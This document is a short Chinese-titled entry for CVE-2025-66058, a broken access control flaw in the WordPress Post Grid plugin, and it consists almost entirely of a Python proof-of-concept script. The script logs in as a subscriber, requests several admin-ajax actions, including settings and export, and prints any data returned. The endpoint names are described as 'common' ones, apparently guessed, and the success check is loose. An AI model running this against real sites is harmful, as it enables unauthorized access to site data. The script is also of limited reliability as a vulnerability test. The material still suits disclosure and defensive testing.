CVE-2025-66058 Post Grid插件访问控制缺陷漏洞

import requests import sys # CVE-2025-66058 PoC - Broken Access Control in Post Grid Plugin # Target: WordPress site with PickPlugins Post Grid plugin <= 2.3.17 def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2025-66058 This PoC demonstrates accessing admin-only endpoints with low-privileged user """ session = requests.Session() # Step 1: Login as low-privileged user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } try: response = session.post(login_url, data=login_data, timeout=10) # Check if login successful if 'wordpress_logged_in' in str(session.cookies): print(f"[+] Login successful as {username}") # Step 2: Attempt to access admin-only plugin functionality # Common Post Grid admin ajax endpoints that should require admin privileges admin_endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=post_grid_get_all_post", f"{target_url}/wp-admin/admin-ajax.php?action=post_grid_settings", f"{target_url}/wp-admin/admin-ajax.php?action=post_grid_export", ] for endpoint in admin_endpoints: resp = session.get(endpoint, timeout=10) # If we get a successful response (not 403/401), vulnerability exists if resp.status_code == 200 and 'error' not in resp.text.lower(): print(f"[+] VULNERABLE: {endpoint}") print(f" Response snippet: {resp.text[:200]}") else: print(f"[-] Protected: {endpoint} (Status: {resp.status_code})") else: print("[-] Login failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python poc.py <target_url> <username> <password>") print("Example: python poc.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)